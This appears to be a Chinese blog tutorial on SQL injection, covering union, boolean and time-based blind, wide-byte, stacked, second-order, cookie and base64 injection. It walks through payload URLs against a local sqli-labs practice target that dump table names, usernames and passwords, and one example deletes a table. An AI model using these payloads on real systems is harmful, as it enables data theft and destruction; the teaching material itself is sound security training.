SQL注入原理解析

数据库相关概念

数据Data:

图像、语音、文字等
在计算机系统中,各种字母、数字符号的组合、语音、图形、图像等

数据库Database:

Access、MSSQL、Oracle、SQLITE、MySQL等
数据库是按照数据结构来组织、存储和管理数据的“仓库”

数据库管理系统DBMS:

Access、MSSQL、Oracle、SQLITE、MySQL等
数据库管理系统(database managment system)是一种操纵和管理数据库的软件,用于建立、使用、和维护数据库。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性

结构化查询语言SQL:

DQL、DDL、DML、TCL、DCL
结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理数据库系统

常用的MYSQL函数

system_user(): 系统用户名
user(): 用户名
current_user(): 当前用户名
session_user(): 连接数据库用的用户名
database(): 数据库名
version(): mysql数据库版本
load_file(): mysql读取本地文件的函数
@@datadir: 数据库路径
@@basedir mysql.: 安装路径
@@version_compile_os:操作系统

三种注释符:

“#” “–空格” “/*…*/”

MySQL数据库5.0以上自带的4个数据库

information_schema:数据库字典,存储了其他数据库的元数据;元数据是关于数据的数据,例如库名、表名、列的数据类型或1访问权限等等
mysql: 核心数据库,存储用户的权限信息与帮助信息
performance_schema:性能字典,此数据库为数据库性能优化提供重要的参考信息
test :测试库

需要重点关注information_schema库中的三张表:SCHEMATA表、TABLES表以及COLUMNS表
SCHEMATA表:提供了关于数据库的信息
TABLES表: 给出了关于数据库中的表的信息 table_schema为库名,table_name为表名
COLUMNS表: 给出了表中关于列的信息 column_name为table_name表名对应的字段名

SQL注入的定义:

·SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
·具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句

SQL注入原理:

服务器端未严格校验客户端发送的数据,而导致服务器端SQL语句被恶意修改并成功执行的行为

SQL注入核心:

将用户的输入拼接到代码中,并被当作sql语句执行

两个关键条件:
1.用户可以控制传参
2.原本程序要执行的代码,拼接进了用户输入的数据并且成功执行

SQL注入可能出现的位置

内部实现/流程的角度:URL传参,表单post,cookie,user—Agent,X-Forwarded-For…
业务点:新闻/商品等查询处,用户注册/登陆处,修改用户资料时,找回密码处,搜索框…
核心:与数据库产生交互的地方,就有可能存在注入

SQL注入危害:

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
6.破坏硬盘数据,瘫痪全系统。
一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

SQL注入分类:

按照数据类型:数字型注入/字符型注入
按照HTTP请求方法:GET型注入/POST注入
按照注入方式:联合注入,报错注入,布尔盲注,时间盲注,宽字节注入,Cookie注入…

sQL注入的流程:

1.判断该当前网站是静态还是动态动态

2.判断是否存在注入点
and 1=1
and 1=2
可能存在sQL注入

3.使用order by 查询字段数

GET传参会自动进行url编码和解码的
URL编码特点:%20—>表示空格
order by 5报错
order by 4 正常
说明该表的字段数为4

4.使用union联合查询
观察显示位,回显位
使得前一个查询语句查不到数据
利用database()和virsion()查询数据库名和版本号

5.查询数据库,查询表名,查询字段名
limit n,m ===>从n+1开始取数据,取m行
group_concat()===>将所选表中的各个字段通过特定字段拼接起来
concat()===>是一个用于连接字符串或数组的函数

数字型-SQL注入

手工注入流程-数字型注流程
1.探测漏洞是否存在and 1=1and 1=2或者‘或者l
2.判断字段数
http://127.0.0.1/sqli/Less-2/?id=1 order by 4
3.联合查询得到输出点
http:1/127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,3
4.查询数据库版本
http:l/127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,version()
5.查询表名
http:/127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,group_concat(table_name) frominformation_schema.tables where table_schema=database()
6.查询users表的字段名
http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2, group_concat(column name) frominformation_schema.columns where table_schema=database() and table_name=’users’
7.查询username,password字段数据
http.//127.0.0.1/sq([Less-2/?id=9999 union select 1,group_concat(username),group_concat(password)from users

字符型-SQL注入

手工注入流程-字符型注入

1.探测漏洞是否存在’ — asd
2.判断字段数‘order by 4 — asd
3.联合查询得到输出点
http://127.0.0.1/sqli/Less-1/?id=999′ union select 1,2,3 — asd
4.查询数据库版本
http:1//127.0.0.1/sqli/Less-1/?id=999′ union select 1,2,version() — asd
5.查询表名
http:1l127.0.0.1/sqli/Less-1/?id=999′ union select 1,2,group_concat(table_name) frominformation_schema.tables where table_schema=database() — asd
6.查询users表的字段名
http://127.0.0.1/sqli/Less-1/?id=999′ union select1,2,group_concat(columnname) from information_schema.columns where table_schema=database() and table_name=’users’ — asd
7.查询username, password字段数据
http:l/127.0.0.1/sqli/Less-1/?id=999′ union select1,group_concat(username),group_concat(password) from users — asd

SQL注入的防御
过滤的对象:
用户的输入
提交的URL请求中的参数部分从cookie中得到的数据
部署防SQL注入系统或脚本过滤特殊字符:
单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如:PHP中利用str_replace方法把特殊字符替换成空格,比如$a =str replace(“select”,””,$a);

盲注:

所谓盲注就是在服务器没有错误回显的时候完成的注入攻击
服务器没有错误回显,对于渗透测试人员来说缺少了非常重要的”调试信息”

布尔盲注:

页面有回显,但是不会显示具体的内容
只会根据传参信息返回true和false

事件盲注

传参任何东西返回的结果都一样
页面返回值只有一种,true,无论输入任何值,返回都会按照正常的进行处理
加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

常用函数:

.length()函数返回字符串的长度
.substr() 截取字符串 substr(str,m, n) m:从第m个字符开始截取 n:截取后字符串长度为n
.concat()字符串拼接函数
.ascii() 返回字符的ascii码[将字符变为数字]
.sleep()将程序挂起一段时间n 为n秒
.if(expr1, expr2, expr3)判断语句如果第一个语句正确就执行第二个语句,如果错误执行第三个语句|

靶场演示-布尔盲注Less-8

1.判断是否存在注入点无报错信息,单引号闭合
2.substr()函数判断版本号
http://127.0.0.1/sqli/Less-8/?id=1′ and substr(version(),1,1)=5 — qwe
3.length()判断字符串长度
http://127.0.0.1/sqli/Less-8/?id=1′ and length(database())=8 — qwe
4.数据库名长度为8,可进行猜单词,会不会是security,8个字母,使用substr()、ascii()验证猜想
http://127.0.0.1/sqli/Less-8/?id=1′ and ascii(substr(database(),1,1))=115– qwe
5.e单词对应的ascii码为101
http://127.0.0.1/sqli/Less-8/?id=1′ and ascii(substr(database(),2,1))=101
6.依次类推

靶场演示-时间盲注Less-9

1.判断是否存在注入点, ’ and sleep(5) — q
2.探测if语句是否可以使用, ’ and if(1=2,sleep(20),null) — q
3.使用if语句判断版本号, ’ and if (length(substr(select version(),1,1))=5,null,sleep(5))– q
4.判断当前数据库名 ’ and if(ascii(substr(database(),1,1)) >97,null,sleep(5))– q
5.首字符为s ’ and if(asci(substr(database(),1,1))=115,null,sleep(5)) –q

宽字节注入

魔术引号

ic_quotes_gpc函数[PHP5.4及其以上魔术引号是被删除了]
addslashes()函数判断解析用户提交的数据,如包括有: post、 get、 cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
魔术引号函数的作用:当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤
单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

宽字节注入原理

·目前多数网站使用的都为UTF-8编码,如果MySQL数据库的编码设置为GBK编码·此时就会产生宽字节注入攻击
UTF-8编码:一个中文字符占三个字节 GBK编码:一个中文字符占两个字节
如何绕过\?
发现:在URL编码中\为%5C,然后我们会想到传参一个字符想办法凑成一个gbk字符例如:‘運’字是%df%5c
利用场景:如果网站使用了addslashes()函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入

靶场演示Less-32

1.探测是否存在注入点\
2.判断字段数http://127.0.0.1/sqli/Less-32/?id=1%df’ order by 4 — qwe
3.输出点 http://127.0.0.1/sqli/Less-32/?id=999999%df’ union select 1,2,3 — qwe
4.查询版本号 http://127.0.0.1/sqli/Less-32/? id=999999%df’ union select 1,2, version()–qwe
5.查询当前数据库下表名http://127.0.0.1/sqli/Less-32/?id=999999%df’ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() — qwe
6.查询users表下的字段名http://127.0.0.1/sqli/Less-32/?id=999999%df’ union select 1, 2,group_concat(column_name)from information_schema. co lumns where table_schema=database() and table_name=(selecttable_name from information_schema.tables where table_schema=database() limit 3,1)–qwe
7.获取数据http://127.0.0.1/sqli/Less-32/? id=999999%df’ union select1,group _concat (username), group concat(passworcfrom users –qwe

堆叠注入

堆叠注入的定义

堆叠注入从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用

堆叠注入的原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

靶场演示

if (expr1,expr2,expr3):若expr1为true,则执行expr1,否则执行expr3判断数据库库名长度:1;select if (length(database())>1,sleep(5),null)
判断数据库库名:1;select if(substr(database(),1,1)=’t’,sleep(5),null)
判断表名:1;select if (substr((select table_nme from information schema.tables where table _schema=’database()’ limit0,1),1,1)=’p’,sleep(5),1)
判断字段名:1;select if (substr((select column_name frominformation schema.columns where table_schema=’database()’ andtable_name=’users’ limit 0,1),1,1)=’i’,sleep(5),1)
判断内容: 1;select if(substr((select username from test.users limit0,1),1,1)=’z’,sleep(5),1)

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入原理

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes _gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加“\”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼i凑的过程中,就形成了二次注入。

靶场less-24

创建用户的源代码如下
“UPDATE users SET PASSWORD=’$pass’ where username=‘$username’ and password=’ $curr pass ’”;
$username===>admin’ –qwe admin 后的’ 被当作单引号和前面的’闭合 后面的被注释掉,但数据库认为这是正确的数据。
第二次修改用户 “ admin’ –qwe ”的密码时,其实修改的是admin用户的密码

cookie注入

用burpsuit抓包,修改cookie的id值(和联合注入一样的步骤)

base64注入

网站使用了base64加密传参值,然后使用base64解码之后进行带入查询
相等于中间多了一层加密
将恶意的SQL语句进行base64编码后注入

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值